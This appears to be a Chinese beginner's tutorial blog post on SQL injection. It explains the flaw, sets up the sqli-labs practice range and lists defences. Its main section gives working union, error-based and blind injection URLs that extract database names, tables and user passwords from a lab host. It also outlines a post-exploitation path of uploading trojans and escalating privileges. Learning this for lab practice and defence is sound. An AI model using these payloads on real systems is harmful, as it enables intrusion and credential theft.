小白学习的sql注入


一、sql注入漏洞原理

针对SQL注入的攻击行为可描述为通过用户可控参数中注入SQL语法,破坏原有SQL结构,达到编写程序时意料之外结果的攻击行为。其成因可以归结为以下两个原因叠加造成的:

1、程序编写者在处理程序和数据库交互时, 使用字符串拼接的方式构造SQL语句。

2、未对用户可控参数进行足够的过滤便将参数内容拼接进入到SQL语句中。

二、漏洞危害

但凡使用数据库开发的应用系统,就可能存在SQL注入攻击的媒介。自1999年起,SQL注入漏洞就成了常见安全漏洞之一。至今SQL注入漏洞仍然在CVE列表中排前10。

2011年美国国土安全局,Mitre和SANA研究所将SQL注入作为第一危险的安全漏洞。至今,SQL注入仍然是首要的难以修复的安全威胁漏洞(数据库生产厂商难以通过维护数据库自身功能或提高数据库安全策略来防范SQL注入)。

2012年,Barclaycard的一个代表声称97%的数据泄露都是由SQL注入引起的。2011年年末和2012年年初,在不到一个月的时间里,超过百万的网页遭受到SQL注入攻击。2008年见证了由于SQL注入引起的经济失调。甚至在2010年秋季,联合国官方网站也遭受SQL注入攻击。

2014年一个叫“TeamDigi7al”的黑客组织攻击了美国海军的一个名为“Smart Web Move”的web应用。此次事件直接造成美国海军数据库超过22万服役人员的个人信息被泄露。而事后,美国海军动用了超过50万美元来弥补此次的数据泄密事故。

在日本电话电报公司集团(NTT)发布的2014全球威胁情报的报告中提出了一个惊人的数字——“企业对一次小规模SQL注入攻击的平均善后开支,通常超过19.6万美元。”

随着Web安全事件的不断频发,我们不得不思考SQL注入攻击的代价。显然,SQL注入不是一个过期的安全问题,恰恰相反,它是一种非常容易被使用的攻击方式,SQL注入并不需要高深的攻击手段便可以轻易使敏感的数据库信息被非法浏览或删除。事实上,由于SQL注入攻击简单而又非常高效,高级黑客们已开始采用某些软件自动搜索web应用程序的SQL漏洞,并利用SQL注入自动化工具来制造僵尸,并建立可自动攻击的僵尸网络。

显然,SQL注入攻击并不会在短时间内消失,而其所造成影响更是一个刻不容缓、代价不菲的重大威胁,处理一次web应用安全事故几乎要花掉20万美元。网络安全工程师们务必要意识到,研究与防范SQL注入攻击是必要的,也是首要的安全任务。

三、sql注入分类

SQL 注入漏洞根据不同的标准,有不同的分类。但是从数据类型分类来看,SQL 注入分为数字型和字符型。

​数字型注入就是说注入点的数据,拼接到SQL 语句中是以数字型出现的,即数据两边没有被单引号、双引号包括。字符型注入正好相反。

根据注入手法分类,常见的大致可分为以下几个类别。

UNION query SQL injection(可联合查询注入) 联合查询
Error-based SQL injection(报错型注入) 报错注入
Boolean-based blind SQL injection(布尔型注入) 布尔盲注
Time-based blind SQL injection(基于时间延迟注入) 延时注入
以上4种比较常见,其他的还有宽字节注入、Cookie 注入注入、base64 注入、HTTP 头部注入之User-Agent字段注入或Referer 字段注入

四、sql-labs靶场搭建

sql-labs靶场下载源码
链接:https://pan.baidu.com/s/1oHRozQSDUyCC7bHoxv1XIg
提取码:zptr
服务器:centos7
环境LAMP
https://blog.csdn.net/weixin_45901002/article/details/108262682
把sqli-labs-master.zip文件解压到/var/www/html目录下

yum install unzip -y
unzip -d /var/www/html ./sqli-labs-master.zip
#修改数据库配置文件db-creds.inc 
cd /var/www/html/sqli-labs-master/sql-connections/

访问http://ip/sqli-labs-master出现下图则成功
在这里插入图片描述

五、注入

SQL 注入点的判断(根据id参数的不同判断页面是否相同)
http://10.145.79.62/sql/Less-2/index.php?id=1
http://10.145.79.62/sql/Less-2/index.php?id=2
在这里插入图片描述
在这里插入图片描述

SQL 注入点的判断(加入单引号或双引号判断是否报错)
http://10.145.79.62/sql/Less-2/index.php?id=1’
http://10.145.79.62/sql/Less-2/index.php?id=2"
order by [判断当前数据库有多少字段]
http://10.145.79.62/sql/Less-1/index.php?id=1’ order by 1,2,3 --+
在这里插入图片描述

判断那个字段有回显
http://10.145.79.62/sql/Less-1/index.php?id=-1’ union select 1,2,3 --+
在这里插入图片描述

判断数据库版本
http://10.145.79.62/sql/Less-1/index.php?id=-1’ union select 1,version(),3 --+
在这里插入图片描述

联合查询
判断当前数据库名
在这里插入图片描述

判断当前数据库有那些表
http://10.145.79.62/sql/Less-1/index.php?id=-1’ union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() --+
在这里插入图片描述

查看数据库表
在这里插入图片描述

查询users表中有那些字段
http://10.145.79.62/sql/Less-1/index.php?id=-1’ union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’ --+
在这里插入图片描述

查询表中有多少记录
http://10.145.79.62/sql/Less-1/index.php?id=-1’ union select 1,count(*),3 from users --+
在这里插入图片描述

查询limit 1,2
http://10.145.79.62/sql/Less-1/?id=1’ and 1=2 union select 1,concat(0x7e,id,0x7e,username,0x7e,password,0x7e),3 from users limit 1,2 --+
在这里插入图片描述

查询id=14得username,password的值。
http://10.145.79.62/sql/Less-1/index.php?id=-1’ union select 1,concat(username,’:’,password),3 from users where id=14 --+
在这里插入图片描述

sql报错注入
floor()、group by按键冲突报错注入
http://10.145.79.62/sql/Less-1/index.php?id=1’ and (select 1 from(select count(),concat(system_user(),floor(rand(0)2))x from information_schema.tables group by x)a) --+
在这里插入图片描述

XPATH 报错
http://10.145.79.62/cms/show.php?id=-33 and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
http://10.145.79.62/sql/Less-1/index.php?id=1’ and extractvalue(1,concat(0x7e,(select database()),0x7e)) --+
在这里插入图片描述

http://10.145.79.62/sql/Less-1/index.php?id=1’ and updatexml(1,concat(0x7e,(select database()),0x7e),1) --+
在这里插入图片描述

exp() and exp(~(select * from(select user())a)) multipoint() and multipoint((select * from(select * from(select user())a)b)) geometrycollection() and geometrycollection((select * from(select * from(select user())a)b)) polygon() and polygon((select * from(select * from(select user())a)b)) multipolygon() and multipolygon((select * from(select * from(select user())a)b)) linestring() and linestring((select * from(select * from(select user())a)b)) multilinestring() and multilinestring((select * from(select * from(select user())a)b))
参考链接:
https://blog.csdn.net/like98k/article/details/79646512
sql盲注
判断当前数据库数据库名得长度
http://10.145.79.62/sql/Less-1/index.php?id=1’ and length(database())=8 --+
在这里插入图片描述

判断当前数据库名的第一个字母是什么并一ascii的形式输出 115=s
http://10.145.79.62/sql/Less-1/index.php?id=1’ and ascii(substring(database(),1))=115–+
在这里插入图片描述
在这里插入图片描述

http://10.145.79.62/sql/Less-1/index.php?id=1’ and ascii(substring(database(),2))=101–+
101=e
在这里插入图片描述

sql延时注入
http://10.145.79.62/sql/Less-1/index.php?id=1’ and if((length(database())=8),sleep(5),1)–+
在这里插入图片描述

六、注入流程

判断是否存在注入点—>库名—>表名—>列名—>具体数据
第一步:SQL注入点探测。探测SQL注入点是关键的一步,通过适当的分析应用程序,可以判断什么地方存在SQL注入点。通常只要带有输入提交的动态网页,并且动态网页访问数据库,就可能存在SQL注入漏洞。如果程序员信息安全意识不强,采用动态构造SQL语句访问数据库,并且对用户的输入未进行有效性验证,则存在SQL注入漏洞的可能性很大。一般通过页面的报错信息来确定是否存在SQL注入漏洞。
第二步:收集后台数据库信息。不同数据库的注入方法、函数都不尽相同,因此在注入之前,我们先要判断一下数据库的类型。判断数据库类型的方法很多,可以输入特殊字符,如单引号,让程序返回错误信息,我们根据错误信息提示进行判断;还可以使用特定函数来判断,比如输入“1 and version()>0”,程序返回正常,说明version()函数被数据库识别并执行,而version()函数是MySQL特有的函数,因此可以推断后台数据库为MySQL。
第三步:猜解用户名和密码。数据库中的表和字段命名一般都是有规律的。通过构造特殊SQL语句在数据库中依次猜解出表名、字段名、字段数、用户名和密码。 [6]
第四步:查找Web后台管理入口。WEB后台管理通常不对普通用户开放,要找到后台管理的登录网址,可以利用Web目录扫描工具(如:wwwscan、AWVS)快速搜索到可能的登录地址,然后逐一尝试,便可以找到后台管理平台的登录网址。
第五步:入侵和破坏。一般后台管理具有较高权限和较多的功能,使用前面已破译的用户名、密码成功登录后台管理平台后,就可以任意进行破坏,比如上传木马、篡改网页、修改和窃取信息等,还可以进一步提权,入侵Web服务器和数据库服务器。

七、注入防范措施

SQL注入攻击的危害很大,而且防火墙很难对攻击行为进行拦截,主要的SQL注入攻击防范方法,具体有以下几个方面。
1、分级管理
对用户进行分级管理,严格控制用户的权限,对于普通用户,禁止给予数据库建立、删除、修改等相关权限,只有系统管理员才具有增、删、改、查的权限。例如上述实例中用户在查询语句中加入了drop table。肯定是不能让其执行的,否则系统的数据库安全性就无法保障。故而通过权限的设计限制。使得即使恶意攻击者在数据提交时嵌入了相关攻击代码。但因为设置了权限,从而使得代码不能执行。从而减少SQL注入对数据库的安全威胁。
2、参数传值
程序员在书写SQL语言时,禁止将变量直接写入到SQL语句,必须通过设置相应的参数来传递相关的变量。从而抑制SQL注入。数据输入不能直接嵌入到查询语句中。同时要过滤输入的内容,过滤掉不安全的输入数据。或者采用参数传值的方式传递输入变量。这样可以最大程度防范SQL注入攻击。
3、基础过滤与二次过滤
SQL注入攻击前,入侵者通过修改参数提交“and”等特殊字符,判断是否存在漏洞,然后通过select、update等各种字符编写SQL注入语句。因此防范SQL注入要对用户输入进行检查,确保数据输入的安全性,在具体检查输入或提交的变量时,对于单引号、双引号、冒号等字符进行转换或者过滤,从而有效防止SQL注入。当然危险字符有很多,在获取用户输入提交的参数时,首先要进行基础过滤,然后根据程序的功能及用户输入的可能性进行二次过滤,以确保系统的安全性。
4、使用安全参数
SQL数据库为了有效抑制SQL注入攻击的影响。在进行SQLServer数据库设计时设置了专门的SQL安全参数。在程序编写时应尽量使用安全参数来杜绝注入式攻击。从而确保系统的安全性。
SQLServer数据库提供了Parameters集合,它在数据库中的功能是对数据进行类型检查和长度验证,当程序员在程序设计时加入了Parameters集合,系统会自动过滤掉用户输入中的执行代码,识别其为字符值。如果用户输入中含有恶意的代码,数据库在进行检查时也能够将其过滤掉。同时Parameters集合还能进行强制执行检查。一旦检查值超出范围。系统就会出现异常报错,同时将信息发送系统管理员,方便管理员做出相应的防范措施。
5、漏洞扫描
为了更有效地防范SQL注入攻击,作为系统管理除了设置有效的防范措施,更应该及时发现系统存在SQL攻击安全漏洞。系统管理员可以通过采购一些专门系统的SQL漏洞扫描工具,通过专业的扫描工具,可以及时的扫描到系统存在的相应漏洞。虽然漏洞扫描工具只能扫描到SQL注入漏洞,不能防范SQL注入攻击。但系统管理员可以通过扫描到的安全漏洞,根据不同的情况采取相应的防范措施封堵相应的漏洞,从而把SQL注入攻击的门给关上,从而确保系统的安全。
6、多层验证
现在的网站系统功能越来越庞大复杂。为确保系统的安全,访问者的数据输入必须经过严格的验证才能进入系统,验证没通过的输入直接被拒绝访问数据库,并且向上层系统发出错误提示信息。同时在客户端访问程序中验证访问者的相关输入信息,从而更有效的防止简单的SQL注入。但是如果多层验证中的下层如果验证数据通过,那么绕过客户端的攻击者就能够随意访问系统。因此在进行多层验证时,要每个层次相互配合,只有在客户端和系统端都进行有效的验证防护,才能更好地防范SQL注入攻击。
7、数据库信息加密
传统的加解密的方法大致可以分为三种:
(1)对称加密:即加密方和解密方都使用相同的加密算法和密钥,这种方案的密钥的保存非常关键,因为算法是公开的,而密钥是保密的,一旦密匙泄露,黑客仍然可以轻易解密。常见的对称加密算法有:AES、DES等。
(2)非对称加密:即使用不同的密钥来进行加解密,密钥被分为公钥和私钥,用私钥加密的数据必须使用公钥来解密,同样用公钥加密的数据必须用对应的私钥来解密,常见的非对称加密算法有:RSA等。
(3)不可逆加密:利用哈希算法使数据加密之后无法解密回原数据,这样的哈希算法常用的有:md5、SHA-1等。

八、辅助插件hackbar的安装

以火狐为例:
在这里插入图片描述
点击安装
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
添加完成,按F12或鼠标右击查看元素在这里插入图片描述
注:如果出现其它不明问题不要问啊,问了也不一定回。

哈哈哈哈哈

  • 0
    点赞
  • 7
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值